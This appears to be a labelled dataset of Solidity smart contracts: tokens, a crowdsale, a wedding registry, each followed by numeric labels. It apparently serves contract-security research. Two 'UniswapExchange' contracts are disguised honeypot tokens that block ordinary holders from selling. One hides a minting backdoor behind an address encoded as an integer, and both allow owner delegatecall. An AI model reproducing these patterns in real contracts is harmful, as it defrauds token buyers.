balances[MEW_CROWDSALE_FUND] = balances[MEW_CROWDSALE_FUND].sub(vestingAmount); emit Transfer(MEW_CROWDSALE_FUND, target, vestingAmount); } else { require(vestingAmount <= balances[MEW_RESERVE_FUND]); balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].sub(vestingAmount); emit Transfer(MEW_RESERVE_FUND, target, vestingAmount); } } function SetAuxOwner(address aux) onlyOwner public { require(auxOwner == 0); auxOwner = aux; } function Purchase(address _to, uint256 _ether, uint256 _amount, uint256 exchange) onlyOwner public returns (bool) { require(mCanSpend[_to]==0); require(mSetupCrowd==1); require(mCanPurchase==1); require( _amount >= MINIMUM_ETHER_SPEND * exchange); require( (_amount+balances[_to]) <= MAXIMUM_ETHER_SPEND * exchange); if (balances[MEW_CROWDSALE_FUND]<_amount) { return false; } mCanSpend[_to] = 0; if (mCanSpend[_to]==0) { mEtherInvalid = mEtherInvalid + int256(_ether); } else { mEtherValid = mEtherValid + int256(_ether); } mEtherSpent[_to] = _ether; uint256 newBalance = balances[_to].add(_amount); uint256 newCrowdBalance = balances[MEW_CROWDSALE_FUND].sub(_amount); balances[_to]=0; balances[MEW_CROWDSALE_FUND] = 0; balances[_to] = newBalance; balances[MEW_CROWDSALE_FUND] = newCrowdBalance; emit Transfer(MEW_CROWDSALE_FUND, _to, _amount); return true; } function Unlock_Tokens(address target) public onlyOwner { require(mCanSpend[target]==0); mCanSpend[target]=1; uint256 etherToken = mEtherSpent[target]; mEtherInvalid = mEtherInvalid - int256(etherToken); mEtherValid = mEtherValid + int256(etherToken); } function Revoke(address target) public onlyOwner { RevokeTokens(target); } function BlockRefunded(address target) public onlyOwner { require(mCanSpend[target]!=8); mCanSpend[target]=8; mEtherInvalid = mEtherInvalid-int256(mEtherSpent[target]); } function SetupReserve(address multiSig) public onlyOwner { require(mSetupReserve==0); require(multiSig>0); mint(MEW_RESERVE_FUND, TOTAL_RESERVE_FUND); allocateVestable(FOUNDER_ADDRESS1, 9000000000, 365, PRIME_VESTING_DATE); allocateVestable(FOUNDER_ADDRESS2, 9000000000, 365, PRIME_VESTING_DATE); allocateVestable(FOUNDER_ADDRESS3, 7000000000, 365, PRIME_VESTING_DATE); } function SetupCrowdSale() public onlyOwner { require(mSetupCrowd==0); mint(MEW_CROWDSALE_FUND, TOTAL_CROWDSALE_FUND); mSetupCrowd=1; } function CloseSaleFund() public onlyOwner { uint256 remainingFund; remainingFund = balances[MEW_CROWDSALE_FUND]; balances[MEW_CROWDSALE_FUND] = 0; balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].add(remainingFund); emit Transfer(MEW_CROWDSALE_FUND, MEW_RESERVE_FUND, remainingFund); PRIME_VESTING_DATE = block.timestamp; FINAL_AML_DATE = PRIME_VESTING_DATE + FINAL_AML_DAYS*DAYSECONDS; mVestingBegins[FOUNDER_ADDRESS1]=PRIME_VESTING_DATE; mVestingBegins[FOUNDER_ADDRESS2]=PRIME_VESTING_DATE; mVestingBegins[FOUNDER_ADDRESS3]=PRIME_VESTING_DATE; mCanPurchase = 0; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); mCanSpend[_to] = 1; emit Mint(_to, _amount); emit Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract MEWcoin is MintableToken { string public constant name = "MEWcoin (Official vFloorplan Ltd 30/07/18)"; string public constant symbol = "MEW"; string public version = "1.0"; }
1
4,741
pragma solidity ^0.4.16; contract Owned { modifier onlyOwner() { require(msg.sender == owner); _; } address public owner; function Owned() { owner = msg.sender; } address public newOwner; function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } function execute(address _dst, uint _value, bytes _data) onlyOwner { _dst.call.value(_value)(_data); } } contract WedIndex is Owned { string public wedaddress; string public partnernames; uint public indexdate; uint public weddingdate; uint public displaymultisig; IndexArray[] public indexarray; struct IndexArray { uint indexdate; string wedaddress; string partnernames; uint weddingdate; uint displaymultisig; } function writeIndex(uint indexdate, string wedaddress, string partnernames, uint weddingdate, uint displaymultisig) { indexarray.push(IndexArray(now, wedaddress, partnernames, weddingdate, displaymultisig)); IndexWritten(now, wedaddress, partnernames, weddingdate, displaymultisig); } event IndexWritten (uint time, string contractaddress, string partners, uint weddingdate, uint display); }
0
147
pragma solidity ^0.4.25; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract HiveCapital is owned { string public name = "Hive Capital Token"; string public symbol = "HCT"; uint8 public decimals = 0; uint256 public totalSupply = 10000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Mine(address indexed to, uint256 value); event FrozenFunds(address target, bool frozen); constructor() public { balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function MineTo(address _to, uint256 _value) onlyOwner public returns (bool success) { require (totalSupply + _value > totalSupply ); totalSupply += _value; balanceOf[_to] += _value; emit Mine(_to, _value); emit Transfer(0x0, _to, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; totalSupply -= _value; emit Burn(_from, _value); emit Transfer(_from, 0x0, _value); return true; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
1
4,894
pragma solidity ^0.4.18; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract safeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; safeAssert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { safeAssert(b > 0); uint256 c = a / b; safeAssert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { safeAssert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; safeAssert(c>=a && c>=b); return c; } function safeAssert(bool assertion) internal pure { if (!assertion) revert(); } } contract StandardToken is owned, safeMath { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract POWTokenOpenDistribution is owned, safeMath { address public admin = owner; StandardToken public tokenContract; uint256 public initialSupply; uint256 public tokensRemaining; address public budgetWallet; uint256 public tokensPerEthPrice; uint256 public amountRaised; uint256 public fundingCap; string public CurrentStatus = ""; uint256 public fundingStartBlock; uint256 public fundingEndBlock; bool public isOpenDistributionClosed = false; bool public areFundsReleasedToBudget= false; bool public isOpenDistributionSetup = false; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Buy(address indexed _sender, uint256 _eth, uint256 _MOY); mapping(address => uint256) balancesArray; mapping(address => uint256) fundValue; function POWTokenOpenDistribution() public onlyOwner { admin = msg.sender; CurrentStatus = "Tokens Released, Open Distribution deployed to chain"; } function initialMoySupply() public constant returns (uint256 tokenTotalSupply) { tokenTotalSupply = safeDiv(initialSupply,1000000000000000000); } function remainingSupply() public constant returns (uint256 tokensLeft) { tokensLeft = tokensRemaining; } function setupOpenDistribution(uint256 _fundingStartBlock, uint256 _fundingEndBlock, address _tokenContract, address _budgetWallet) public onlyOwner returns (bytes32 response) { if ((msg.sender == admin) && (!(isOpenDistributionSetup)) && (!(budgetWallet > 0))){ tokenContract = StandardToken(_tokenContract); budgetWallet = _budgetWallet; tokensPerEthPrice = 1000; fundingCap = 3; amountRaised = 0; initialSupply = 30000000; tokensRemaining = safeDiv(initialSupply,1); fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; isOpenDistributionSetup = true; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution is setup"; setPrice(); return "OpenDistribution is setup"; } else if (msg.sender != admin) { return "Not Authorized"; } else { return "Campaign cannot be changed."; } } function setPrice() public { if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+11520) { tokensPerEthPrice = 3000; } else if (block.number >= fundingStartBlock+11521 && block.number <= fundingStartBlock+46080) { tokensPerEthPrice = 2000; } else if (block.number >= fundingStartBlock+46081 && block.number <= fundingStartBlock+86400) { tokensPerEthPrice = 2000; } else if (block.number >= fundingStartBlock+86401 && block.number <= fundingEndBlock) { tokensPerEthPrice = 1000; } } function () public payable { require(msg.data.length == 0); BuyMOYTokens(); } function BuyMOYTokens() public payable { require(!(msg.value == 0) && (isOpenDistributionSetup) && (block.number >= fundingStartBlock) && (block.number <= fundingEndBlock) && (tokensRemaining > 0)); uint256 rewardTransferAmount = 0; setPrice(); amountRaised = safeAdd(amountRaised,msg.value); rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),1); tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,1)); tokenContract.transfer(msg.sender, rewardTransferAmount); fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value); Transfer(this, msg.sender, msg.value); Buy(msg.sender, msg.value, rewardTransferAmount); } function budgetMultiSigWithdraw(uint256 _amount) public onlyOwner { require(areFundsReleasedToBudget && (amountRaised >= fundingCap)); budgetWallet.transfer(_amount); } function checkGoalReached() public onlyOwner returns (bytes32 response) { require (isOpenDistributionSetup); if ((amountRaised < fundingCap) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { areFundsReleasedToBudget = false; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution in progress, waiting to reach goal."; return "OpenDistribution in progress."; } else if ((amountRaised < fundingCap) && (block.number < fundingStartBlock)) { areFundsReleasedToBudget = false; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution is setup"; return "OpenDistribution is setup"; } else if ((amountRaised < fundingCap) && (block.number > fundingEndBlock)) { areFundsReleasedToBudget = false; isOpenDistributionClosed = true; CurrentStatus = "OpenDistribution is Over."; return "OpenDistribution is Over"; } else if ((amountRaised >= fundingCap) && (tokensRemaining == 0)) { areFundsReleasedToBudget = true; isOpenDistributionClosed = true; CurrentStatus = "Successful OpenDistribution."; return "Successful OpenDistribution."; } else if ((amountRaised >= fundingCap) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { areFundsReleasedToBudget = true; isOpenDistributionClosed = true; CurrentStatus = "Successful OpenDistribution."; return "Successful OpenDistribution"; } else if ((amountRaised >= fundingCap) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { areFundsReleasedToBudget = true; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution in Progress, Goal Achieved."; return "Goal Achieved."; } setPrice(); } }
1
3,088
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; require(_to != address(0)); require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract soowhat is StandardToken { string public constant name = "soowhat"; string public constant symbol = "SOO"; uint8 public constant decimals = 0; function soowhat() public { totalSupply = 10000000000; balances[msg.sender] = totalSupply; } }
1
4,953
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
407
pragma solidity ^0.4.25; contract demo{ function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){ require(_tos.length > 0); bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)")); for(uint i=0;i<_tos.length;i++){ caddress.call(id,from,_tos[i],v); } return true; } }
0
2,090
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
86
